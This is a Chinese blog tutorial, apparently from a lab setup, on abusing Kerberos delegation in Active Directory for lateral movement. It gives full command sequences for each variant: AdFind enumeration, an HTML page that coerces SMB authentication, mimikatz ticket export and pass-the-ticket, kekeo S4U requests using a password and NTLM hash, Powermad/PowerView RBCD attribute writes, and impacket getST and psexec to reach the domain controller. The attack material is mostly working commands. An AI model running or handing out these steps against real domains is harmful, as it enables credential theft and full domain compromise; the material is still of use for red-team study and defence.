内网渗透之横向移动 委派-非约束委派&约束委派&资源委派

0x01 横向移动-非约束委派

原理:
机器A(域控)访问具有非约束委派权限的机器B的服务,会把当前认证用户(域管用户)的的TGT放在ST票据中,一起发送给机器B,机器B会把TGT存储在lsass进程中以备下次重用。从而机器B就能使用这个TGT模拟认证用户(域管用户)访问服务
利用场景
攻击者拿到了一台配置非约束委派的机器权限,可以诱导域管来访问该机器,然后得到管理员的TGT,从而模拟域管用户,利用方式和ptt类似(需要有票据)

复现配置:
环境:god.org
1.信任此计算机来委派任何服务
在这里插入图片描述
2.setspn -U -A priv/test webadmin
在这里插入图片描述
准备:
werserver上线cs
进行提权

判断查询:
有主机名和用户账号设置了非约束才可以使用
查询域内设置了非约束委派的服务账户:

AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

查询域内设置了非约束委派的机器账户:

AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

在这里插入图片描述

利用:
1.域控与委派机器通讯
主动:

net use \\webserver

钓鱼:
http://192.168.3.31/31.html

<!DOCTYPE html>
<html>
<head>
  <title></title>
</head>
<body>
  <img src="file:///\\192.168.3.31\2">
</body>
</html>

2.导出票据到本地

mimikatz sekurlsa::tickets /export

在这里插入图片描述
3.导入票据到内存

mimikatz kerberos::ptt [0;e949e]-2-0-60a00000-Administrator@krbtgt-GOD.ORG.kirbi

在这里插入图片描述
4.连接域控

dir \\owa2010cn-god\c$

在这里插入图片描述

0x02 内网横向移动-约束委派
原理:
由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了拓展,
引入了SService for User to Self (S4U2Self)和 Service for User to Proxy (S4U2proxy)。

利用场景:
如果攻击者控制了服务A的账号,并且服务A配置了到域控的CIFS服务的约束性委派
则攻击者可以先使用S4u2seflt申请域管用户(administrator)访问A服务的ST1,
然后使用S4u2Proxy以administrator身份访问域控的CIFS服务,即相当于控制了域控

复现配置:
1.机器设置仅信任此计算机指定服务-cifs
在这里插入图片描述
2.用户设置仅信任此计算机指定服务-cifs
在这里插入图片描述
用户名和机器名都配置成owa的账号
准备:
werserver上线cs
进行提权

判断查询:
查询机器用户(主机)配置约束委派

AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

查询服务账户(主机)配置约束委派

AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

在这里插入图片描述

利用步骤:
1.获取用户的票据
明文

shell kekeo "tgt::ask /user:webadmin /domain:god.org /password::admin!@#45 /ticket:administrator.kirbi" "exit"

ntml hash值

shell  kekeo "tgt::ask /user:webadmin /domain:god.org /NTLM:518b98ad4178a53695dc997aa02d455c /ticket:administrator.kirbi" "exit"

2.利用用户票据获取域控票据
选用一个服务即可,上方第一个查询返回的值

shell  kekeo "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/owa2010cn-god" "exit"

在这里插入图片描述

shell  kekeo "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/owa2010cn-god.god.org" "exit"

3.导入票据到内存

mimikatz kerberos::ptt TGS_Administrator@god.org@GOD.ORG_cifs~owa2010cn-god@GOD.ORG

4.连接域控

shell dir \\owa2010cn-god.god.org\c$

在这里插入图片描述

0x03横向移动-资源委派

基于资源的约束委派(RBCD)是在Windows Server 2012中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。

计算机加⼊域时,加⼊域的域⽤户被控后也将导致使用当前域用户加入的计算机受控。(利用域用户加域的计算机)

条件:
1.域控Windows2012及以上
2.存在域内成员用户加入域操作
工具:
sid2user
Powermad
impacket
环境:
win7
win2008
win2012

1.获取受害目标:有哪些域内计算机存在同一用户加入的,必须有sid值一致的才能进行攻击

AdFind.exe -h 192.168.3.33 -b "DC=xiaodi,DC=local" -f "objectClass=computer" mS-DS-CreatorSID

在这里插入图片描述
判断受害用户:

sid2user.exe \\192.168.3.33 5 21 1695257952 3088263962 2055235443 1104

在这里插入图片描述

2.增加机器:
powershell

Set-ExecutionPolicy Bypass -Scope Process
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount serviceA -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)

获取sid:

Import-Module .\PowerView.ps1
Get-NetComputer serviceA -Properties objectsid
获取到的sid值
S-1-5-21-1695257952-3088263962-2055235443-1602

在这里插入图片描述

3.设置修改属性
powershell

Set-ExecutionPolicy Bypass -Scope Process
import-module .\powerview.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1695257952-3088263962-2055235443-1107)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DATA| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

在这里插入图片描述
验证修改是否成功:

Get-DomainComputer DATA -Properties msds-allowedtoactonbehalfofotheridentity

在这里插入图片描述
清除修改设置:

Set-DomainObject DATA -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

4.连接目标获取票据:

python getST.py -dc-ip 192.168.3.33 xiaodi.local/serviceA\$:123456 -spn cifs/data.xiaodi.local -impersonate administrator

在这里插入图片描述
5.导入票据到内存:

mimikatz kerberos::ptc administrator.ccache

在这里插入图片描述
6.连接利用票据:

dir \\data.xiaodi.local\c$
python psexec.py -k xiaodi.local/administrator@data.xiaodi.local -no-pass

在这里插入图片描述
关于 getST.py报错:
在这里插入图片描述
进入到impaket的包里

python setup.py install

python 应该是有版本限制的3.8,3.9
3.10版本是不行的,再就是直接安装impacket也会出错,所以使用上面的方法安装

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值